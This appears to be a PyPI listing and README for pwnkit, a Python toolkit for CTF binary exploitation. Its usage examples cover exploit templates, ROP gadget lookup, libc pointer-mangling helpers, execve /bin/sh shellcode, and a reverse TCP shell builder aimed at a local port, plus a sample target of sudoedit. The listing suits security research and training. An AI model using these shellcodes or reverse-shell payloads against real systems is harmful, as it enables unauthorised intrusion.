pwnkit


Namepwnkit JSON
Version 0.2.1 PyPI version JSON
download
home_pageNone
SummaryAxura's reusable pwn utilities, gadgets, debugging, shellcodes, templates
upload_time2025-08-31 02:47:05
maintainerNone
docs_urlNone
authorNone
requires_python>=3.8
licenseMIT License Copyright (c) 2025 Axura Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
keywords ctf exploit heap pwn pwntools rop stack template
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # pwnkit

[![PyPI version](https://img.shields.io/pypi/v/pwnkit.svg)](https://pypi.org/project/pwnkit/)
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
[![Python Versions](https://img.shields.io/pypi/pyversions/pwnkit.svg)](https://pypi.org/project/pwnkit/)

Exploitation toolkit for pwn CTFs & Linux binary exploitation research.  
Includes exploit templates, I/O helpers, ROP gadget mappers, pointer mangling utilities, curated shellcodes, exploit gadgets, House of Maleficarum, gdb/helper scripts, etc.

---

## Installation

From [PyPI](https://pypi.org/project/pwnkit/):

**Method 1**. Install into **current Python environment** (could be system-wide, venv, conda env, etc.). use it both as CLI and Python API:

```bash
pip install pwnkit
```

**Method 2**. Install using `pipx` as standalone **CLI tools**:

```bash
pipx install pwnkit
```

**Method 3.** Install from source (dev):

```bash
git clone https://github.com/4xura/pwnkit.git
cd pwnkit
pip install -e .
```

---

## Quick Start

### CLI

All options:
```bash
pwnkit -h
```
Create an exploit script template:
```bash
# local pwn
pwnkit xpl.py --file ./pwn --libc ./libc.so.6 

# remote pwn
pwnkit xpl.py --file ./pwn --host 10.10.10.10 --port 31337

# Override default preset with individual flags
pwnkit xpl.py -f ./pwn -i 10.10.10.10 -p 31337 -A aarch64 -E big

# Minimal setup to fill up by yourself
pwnkit xpl.py
```
Example using default template:
```bash
$ pwnkit exp.py -f ./evil-corp -l ./libc.so.6 \
                -A aarch64 -E big \
                -a john.doe -b https://johndoe.com
[+] Wrote exp.py (template: pkg:default.py.tpl)

$ cat exp.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title : Linux Pwn Exploit
# Author: john.doe - https://johndoe.com
#
# Description:
# ------------
# A Python exploit for Linux binex interaction
#
# Usage:
# ------
# - Local mode  : python3 xpl.py
# - Remote mode : python3 [ <IP> <PORT> | <IP:PORT> ]
#

from pwnkit import *
from pwn import *
import os, sys

BIN_PATH   = '/home/Axura/ctf/pwn/linux-user/evilcorp/evil-corp'
LIBC_PATH  = '/home/Axura/ctf/pwn/linux-user/evilcorp/libc.so.6'
elf        = ELF(BIN_PATH, checksec=False)
libc       = ELF(LIBC_PATH) if LIBC_PATH else None
host, port = parse_argv(sys.argv[1:], None, None)	# default local mode 

ctx = Context(
    arch      = 'aarch64',
    os        = 'linux',
    endian    = 'big',
    log_level = 'debug',
    terminal  = ('tmux', 'splitw', '-h')	# remove when no tmux sess
).push()

io = Tube(
    file_path = BIN_PATH,
    libc_path = LIBC_PATH,
    host      = host,
    port      = port,
    env       = {}
).init().alias()
set_global_io(io)  # s, sa, sl, sla, r, ru, uu64

init_pr("debug", "%(asctime)s - %(levelname)s - %(message)s", "%H:%M:%S")

def xpl():

    # exploit chain here

    io.interactive()

if __name__ == "__main__":
    xpl()
```
List available built-in templates:
```bash
$ pwnkit -lt
[*] Bundled templates:
   - default
   - got
   - heap
   - minimal
   - ret2libc
   - ret2syscall
   - setcontext
   - srop
   ...
```
Use a built-in template:
```bash
pwnkit exp.py -t heap
```

### Python API

```python
from pwnkit import *
from pwn import *

# - Push a context preset
ctx = Context.preset("linux-amd64-debug")
"""
ctx = Context(
    arch	  = "amd64"
    os		  = "linux"
    endian	  = "little"
    log_level = "debug"
    terminal  = ("tmux", "splitw", "-h")	# remove when no tmux
)
"""
ctx.push()   # applies to pwntools' global context

# - Simple I/O stream
io = Tube(
    file_path = "/usr/bin/sudoedit",
    libc_path = "./libc.so.6",
    host      = "127.0.0.1",
    port	  = 123456,
    env		  = {}
).init().alias()
io.sl(b"hello")
print(io.r(5))  # b'hello'

# - Use io aliases globally
set_global_io(io)
sl(b"hello")
print(r(5))     # b'hello'

# - ROP after leaking libc_base
libc.address = libc_base
ggs 	= ROPGadgets(libc)
p_rdi_r = ggs['p_rdi_r']
p_rsi_r = ggs['p_rsi_r']
p_rax_r = ggs['p_rax_r']
p_rsp_r = ggs['p_rsp_r']
p_rdx_rbx_r = ggs['p_rdx_rbx_r']
leave_r = ggs['leave_r']
ret 	= ggs['ret']
...

# - libc Pointer protection
# 1) Pointer guard
guard = 0xdeadbeef	# leak it or overwrite it
pg = PointerGuard(guard)
ptr = 0xcafebabe
enc_ptr = pg.mangle(ptr)
dec_ptr = pg.demangle(enc_ptr)
assert ptr == dec_ptr

# 2) Safe linking 
#    e.g., after leaking heap_base for tcache
slfd = SafeLinking(heap_base)
fd = 0x55deadbeef
enc_fd = slfd.encrypt(fd)
dec_fd = slfd.decrypt(enc_fd)
assert fd == dec_fd

# - Shellcode generation
# 1) List all built-in available shellcodes
for name in list_shellcodes():
    print(" -", name)

# 2) Retrieve by arch + name, default variant (min)
sc = ShellcodeReigstry.get("amd64", "execve_bin_sh")
print(f"[+] Got shellcode: {sc.name} ({sc.arch}), {len(sc.blob)} bytes")
print(hex_shellcode(sc.blob))   # output as hex

# 3) Retrieve explicit variant
sc = ShellcodeReigstry.get("i386", "execve_bin_sh", variant=33)
print(f"[+] Got shellcode: {sc.name} ({sc.arch}), {len(sc.blob)} bytes")
print(hex_shellcode(sc.blob))

# 4) Retrieve via composite key
sc = ShellcodeReigstry.get(None, "amd64:execveat_bin_sh:29")
print(f"[+] Got shellcode: {sc.name}")
print(hex_shellcode(sc.blob))

# 5) Fuzzy lookup
sc = ShellcodeReigstry.get("amd64", "ls_")
print(f"[+] Fuzzy match: {sc.name}")
print(hex_shellcode(sc.blob))

# 6) Builder demo: reverse TCP shell (amd64)
builder = ShellcodeBuilder("amd64")
rev = builder.build_reverse_tcp_shell("127.0.0.1", 4444)
print(f"[+] Built reverse TCP shell ({len(rev)} bytes)")
print(hex_shellcode(rev))



...

io.interactive() 
```

---

## Context Presets

Available presets (built-in):

* `linux-amd64-debug`
* `linux-amd64-quiet`
* `linux-i386-debug`
* `linux-i386-quiet`
* `linux-arm-debug`
* `linux-arm-quiet`
* `linux-aarch64-debug`
* `linux-aarch64-quiet`
* `freebsd-amd64-debug`
* `freebsd-amd64-quiet`

---

## Custom Templates

Templates (`*.tpl` or `*.py.tpl`) are rendered with a context dictionary.
Inside your template file you can use Python format placeholders (`{var}`) corresponding to:

 | Key           | Meaning                                                      |
 | ------------- | ------------------------------------------------------------ |
 | `{arch}`      | Architecture string (e.g. `"amd64"`, `"i386"`, `"arm"`, `"aarch64"`) |
 | `{os}`        | OS string (currently `"linux"` or `"freebsd"`)               |
 | `{endian}`    | Endianness (`"little"` or `"big"`)                           |
 | `{log}`       | Log level (e.g. `"debug"`, `"info"`)                         |
 | `{term}`      | Tuple of terminal program args (e.g. `("tmux", "splitw", "-h")`) |
 | `{file_path}` | Path to target binary passed with `-f/--file`                |
 | `{libc_path}` | Path to libc passed with `-l/--libc`                         |
 | `{host}`      | Remote host (if set via `-i/--host`)                         |
 | `{port}`      | Remote port (if set via `-p/--port`)                         |
 | `{io_line}`   | Pre-rendered code line that initializes the `Tube`           |
 | `{author}`    | Author name from `-a/--author`                               |
 | `{blog}`      | Blog URL from `-b/--blog`                                    |

Use your own custom template (`*.tpl` or `*.py.tpl`):
```bash
pwnkit exp.py -t ./mytpl.py.tpl
```
Or put it in a directory and point `PWNKIT_TEMPLATES` to it:
```bash
export PWNKIT_TEMPLATES=~/templates
pwnkit exploit.py -t mytpl
```
For devs, you can also place your exploit templates (which is just a Python file of filename ending with `tpl` suffix) into [`src/pwnkit/templates`](https://github.com/4xura/pwnkit/tree/main/src/pwnkit/templates), before cloning and building to make a built-in. You are also welcome to submit a custom template there in this repo for a pull request!

---

## TODO

* Move the template feature under mode `template`
* Create other modes (when needed)

            

Raw data

            {
    "_id": null,
    "home_page": null,
    "name": "pwnkit",
    "maintainer": null,
    "docs_url": null,
    "requires_python": ">=3.8",
    "maintainer_email": null,
    "keywords": "ctf, exploit, heap, pwn, pwntools, rop, stack, template",
    "author": null,
    "author_email": "Axura <asuraulord@gmail.com>",
    "download_url": "https://files.pythonhosted.org/packages/b0/e4/1c3c81f74d6a180c7f9e7df2116721de3259c0a89956278a890fe5c5208d/pwnkit-0.2.1.tar.gz",
    "platform": null,
    "description": "# pwnkit\n\n[![PyPI version](https://img.shields.io/pypi/v/pwnkit.svg)](https://pypi.org/project/pwnkit/)\n[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)\n[![Python Versions](https://img.shields.io/pypi/pyversions/pwnkit.svg)](https://pypi.org/project/pwnkit/)\n\nExploitation toolkit for pwn CTFs & Linux binary exploitation research.  \nIncludes exploit templates, I/O helpers, ROP gadget mappers, pointer mangling utilities, curated shellcodes, exploit gadgets, House of Maleficarum, gdb/helper scripts, etc.\n\n---\n\n## Installation\n\nFrom [PyPI](https://pypi.org/project/pwnkit/):\n\n**Method 1**. Install into **current Python environment** (could be system-wide, venv, conda env, etc.). use it both as CLI and Python API:\n\n```bash\npip install pwnkit\n```\n\n**Method 2**. Install using `pipx` as standalone **CLI tools**:\n\n```bash\npipx install pwnkit\n```\n\n**Method 3.** Install from source (dev):\n\n```bash\ngit clone https://github.com/4xura/pwnkit.git\ncd pwnkit\npip install -e .\n```\n\n---\n\n## Quick Start\n\n### CLI\n\nAll options:\n```bash\npwnkit -h\n```\nCreate an exploit script template:\n```bash\n# local pwn\npwnkit xpl.py --file ./pwn --libc ./libc.so.6 \n\n# remote pwn\npwnkit xpl.py --file ./pwn --host 10.10.10.10 --port 31337\n\n# Override default preset with individual flags\npwnkit xpl.py -f ./pwn -i 10.10.10.10 -p 31337 -A aarch64 -E big\n\n# Minimal setup to fill up by yourself\npwnkit xpl.py\n```\nExample using default template:\n```bash\n$ pwnkit exp.py -f ./evil-corp -l ./libc.so.6 \\\n                -A aarch64 -E big \\\n                -a john.doe -b https://johndoe.com\n[+] Wrote exp.py (template: pkg:default.py.tpl)\n\n$ cat exp.py\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# Title : Linux Pwn Exploit\n# Author: john.doe - https://johndoe.com\n#\n# Description:\n# ------------\n# A Python exploit for Linux binex interaction\n#\n# Usage:\n# ------\n# - Local mode  : python3 xpl.py\n# - Remote mode : python3 [ <IP> <PORT> | <IP:PORT> ]\n#\n\nfrom pwnkit import *\nfrom pwn import *\nimport os, sys\n\nBIN_PATH   = '/home/Axura/ctf/pwn/linux-user/evilcorp/evil-corp'\nLIBC_PATH  = '/home/Axura/ctf/pwn/linux-user/evilcorp/libc.so.6'\nelf        = ELF(BIN_PATH, checksec=False)\nlibc       = ELF(LIBC_PATH) if LIBC_PATH else None\nhost, port = parse_argv(sys.argv[1:], None, None)\t# default local mode \n\nctx = Context(\n    arch      = 'aarch64',\n    os        = 'linux',\n    endian    = 'big',\n    log_level = 'debug',\n    terminal  = ('tmux', 'splitw', '-h')\t# remove when no tmux sess\n).push()\n\nio = Tube(\n    file_path = BIN_PATH,\n    libc_path = LIBC_PATH,\n    host      = host,\n    port      = port,\n    env       = {}\n).init().alias()\nset_global_io(io)  # s, sa, sl, sla, r, ru, uu64\n\ninit_pr(\"debug\", \"%(asctime)s - %(levelname)s - %(message)s\", \"%H:%M:%S\")\n\ndef xpl():\n\n    # exploit chain here\n\n    io.interactive()\n\nif __name__ == \"__main__\":\n    xpl()\n```\nList available built-in templates:\n```bash\n$ pwnkit -lt\n[*] Bundled templates:\n   - default\n   - got\n   - heap\n   - minimal\n   - ret2libc\n   - ret2syscall\n   - setcontext\n   - srop\n   ...\n```\nUse a built-in template:\n```bash\npwnkit exp.py -t heap\n```\n\n### Python API\n\n```python\nfrom pwnkit import *\nfrom pwn import *\n\n# - Push a context preset\nctx = Context.preset(\"linux-amd64-debug\")\n\"\"\"\nctx = Context(\n    arch\t  = \"amd64\"\n    os\t\t  = \"linux\"\n    endian\t  = \"little\"\n    log_level = \"debug\"\n    terminal  = (\"tmux\", \"splitw\", \"-h\")\t# remove when no tmux\n)\n\"\"\"\nctx.push()   # applies to pwntools' global context\n\n# - Simple I/O stream\nio = Tube(\n    file_path = \"/usr/bin/sudoedit\",\n    libc_path = \"./libc.so.6\",\n    host      = \"127.0.0.1\",\n    port\t  = 123456,\n    env\t\t  = {}\n).init().alias()\nio.sl(b\"hello\")\nprint(io.r(5))  # b'hello'\n\n# - Use io aliases globally\nset_global_io(io)\nsl(b\"hello\")\nprint(r(5))     # b'hello'\n\n# - ROP after leaking libc_base\nlibc.address = libc_base\nggs \t= ROPGadgets(libc)\np_rdi_r = ggs['p_rdi_r']\np_rsi_r = ggs['p_rsi_r']\np_rax_r = ggs['p_rax_r']\np_rsp_r = ggs['p_rsp_r']\np_rdx_rbx_r = ggs['p_rdx_rbx_r']\nleave_r = ggs['leave_r']\nret \t= ggs['ret']\n...\n\n# - libc Pointer protection\n# 1) Pointer guard\nguard = 0xdeadbeef\t# leak it or overwrite it\npg = PointerGuard(guard)\nptr = 0xcafebabe\nenc_ptr = pg.mangle(ptr)\ndec_ptr = pg.demangle(enc_ptr)\nassert ptr == dec_ptr\n\n# 2) Safe linking \n#    e.g., after leaking heap_base for tcache\nslfd = SafeLinking(heap_base)\nfd = 0x55deadbeef\nenc_fd = slfd.encrypt(fd)\ndec_fd = slfd.decrypt(enc_fd)\nassert fd == dec_fd\n\n# - Shellcode generation\n# 1) List all built-in available shellcodes\nfor name in list_shellcodes():\n    print(\" -\", name)\n\n# 2) Retrieve by arch + name, default variant (min)\nsc = ShellcodeReigstry.get(\"amd64\", \"execve_bin_sh\")\nprint(f\"[+] Got shellcode: {sc.name} ({sc.arch}), {len(sc.blob)} bytes\")\nprint(hex_shellcode(sc.blob))   # output as hex\n\n# 3) Retrieve explicit variant\nsc = ShellcodeReigstry.get(\"i386\", \"execve_bin_sh\", variant=33)\nprint(f\"[+] Got shellcode: {sc.name} ({sc.arch}), {len(sc.blob)} bytes\")\nprint(hex_shellcode(sc.blob))\n\n# 4) Retrieve via composite key\nsc = ShellcodeReigstry.get(None, \"amd64:execveat_bin_sh:29\")\nprint(f\"[+] Got shellcode: {sc.name}\")\nprint(hex_shellcode(sc.blob))\n\n# 5) Fuzzy lookup\nsc = ShellcodeReigstry.get(\"amd64\", \"ls_\")\nprint(f\"[+] Fuzzy match: {sc.name}\")\nprint(hex_shellcode(sc.blob))\n\n# 6) Builder demo: reverse TCP shell (amd64)\nbuilder = ShellcodeBuilder(\"amd64\")\nrev = builder.build_reverse_tcp_shell(\"127.0.0.1\", 4444)\nprint(f\"[+] Built reverse TCP shell ({len(rev)} bytes)\")\nprint(hex_shellcode(rev))\n\n\n\n...\n\nio.interactive() \n```\n\n---\n\n## Context Presets\n\nAvailable presets (built-in):\n\n* `linux-amd64-debug`\n* `linux-amd64-quiet`\n* `linux-i386-debug`\n* `linux-i386-quiet`\n* `linux-arm-debug`\n* `linux-arm-quiet`\n* `linux-aarch64-debug`\n* `linux-aarch64-quiet`\n* `freebsd-amd64-debug`\n* `freebsd-amd64-quiet`\n\n---\n\n## Custom Templates\n\nTemplates (`*.tpl` or `*.py.tpl`) are rendered with a context dictionary.\nInside your template file you can use Python format placeholders (`{var}`) corresponding to:\n\n | Key           | Meaning                                                      |\n | ------------- | ------------------------------------------------------------ |\n | `{arch}`      | Architecture string (e.g. `\"amd64\"`, `\"i386\"`, `\"arm\"`, `\"aarch64\"`) |\n | `{os}`        | OS string (currently `\"linux\"` or `\"freebsd\"`)               |\n | `{endian}`    | Endianness (`\"little\"` or `\"big\"`)                           |\n | `{log}`       | Log level (e.g. `\"debug\"`, `\"info\"`)                         |\n | `{term}`      | Tuple of terminal program args (e.g. `(\"tmux\", \"splitw\", \"-h\")`) |\n | `{file_path}` | Path to target binary passed with `-f/--file`                |\n | `{libc_path}` | Path to libc passed with `-l/--libc`                         |\n | `{host}`      | Remote host (if set via `-i/--host`)                         |\n | `{port}`      | Remote port (if set via `-p/--port`)                         |\n | `{io_line}`   | Pre-rendered code line that initializes the `Tube`           |\n | `{author}`    | Author name from `-a/--author`                               |\n | `{blog}`      | Blog URL from `-b/--blog`                                    |\n\nUse your own custom template (`*.tpl` or `*.py.tpl`):\n```bash\npwnkit exp.py -t ./mytpl.py.tpl\n```\nOr put it in a directory and point `PWNKIT_TEMPLATES` to it:\n```bash\nexport PWNKIT_TEMPLATES=~/templates\npwnkit exploit.py -t mytpl\n```\nFor devs, you can also place your exploit templates (which is just a Python file of filename ending with `tpl` suffix) into [`src/pwnkit/templates`](https://github.com/4xura/pwnkit/tree/main/src/pwnkit/templates), before cloning and building to make a built-in. You are also welcome to submit a custom template there in this repo for a pull request!\n\n---\n\n## TODO\n\n* Move the template feature under mode `template`\n* Create other modes (when needed)\n",
    "bugtrack_url": null,
    "license": "MIT License\n        \n        Copyright (c) 2025 Axura\n        \n        Permission is hereby granted, free of charge, to any person obtaining a copy\n        of this software and associated documentation files (the \"Software\"), to deal\n        in the Software without restriction, including without limitation the rights\n        to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n        copies of the Software, and to permit persons to whom the Software is\n        furnished to do so, subject to the following conditions:\n        \n        The above copyright notice and this permission notice shall be included in all\n        copies or substantial portions of the Software.\n        \n        THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n        IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n        FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n        AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n        LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n        OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n        SOFTWARE.",
    "summary": "Axura's reusable pwn utilities, gadgets, debugging, shellcodes, templates",
    "version": "0.2.1",
    "project_urls": {
        "Changelog": "https://github.com/4xura/pwnkit/releases",
        "Homepage": "https://4xura.com",
        "Issues": "https://github.com/4xura/pwnkit/issues",
        "Repository": "https://github.com/4xura/pwnkit"
    },
    "split_keywords": [
        "ctf",
        " exploit",
        " heap",
        " pwn",
        " pwntools",
        " rop",
        " stack",
        " template"
    ],
    "urls": [
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "7bbd49436e66b09d3ff53bc31b7d26e1ae103cb0751585fadf3f9e29697e47be",
                "md5": "1c72522eeaf490e53d64fe4ddb5a16c0",
                "sha256": "abfccd976d46fe741f799927b79db3a97941e3368231dbc6cf512b2aa031dc0f"
            },
            "downloads": -1,
            "filename": "pwnkit-0.2.1-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "1c72522eeaf490e53d64fe4ddb5a16c0",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.8",
            "size": 35463,
            "upload_time": "2025-08-31T02:47:03",
            "upload_time_iso_8601": "2025-08-31T02:47:03.947672Z",
            "url": "https://files.pythonhosted.org/packages/7b/bd/49436e66b09d3ff53bc31b7d26e1ae103cb0751585fadf3f9e29697e47be/pwnkit-0.2.1-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "b0e41c3c81f74d6a180c7f9e7df2116721de3259c0a89956278a890fe5c5208d",
                "md5": "e6f8441d1543a4adf99eca85cf98c2b1",
                "sha256": "bc7b132eff3b253d40fc77dedaffe53033ae3db47438da66ea2fcf88c933977a"
            },
            "downloads": -1,
            "filename": "pwnkit-0.2.1.tar.gz",
            "has_sig": false,
            "md5_digest": "e6f8441d1543a4adf99eca85cf98c2b1",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.8",
            "size": 35473,
            "upload_time": "2025-08-31T02:47:05",
            "upload_time_iso_8601": "2025-08-31T02:47:05.135923Z",
            "url": "https://files.pythonhosted.org/packages/b0/e4/1c3c81f74d6a180c7f9e7df2116721de3259c0a89956278a890fe5c5208d/pwnkit-0.2.1.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2025-08-31 02:47:05",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "github_user": "4xura",
    "github_project": "pwnkit",
    "travis_ci": false,
    "coveralls": false,
    "github_actions": false,
    "lcname": "pwnkit"
}
        
Elapsed time: 1.62983s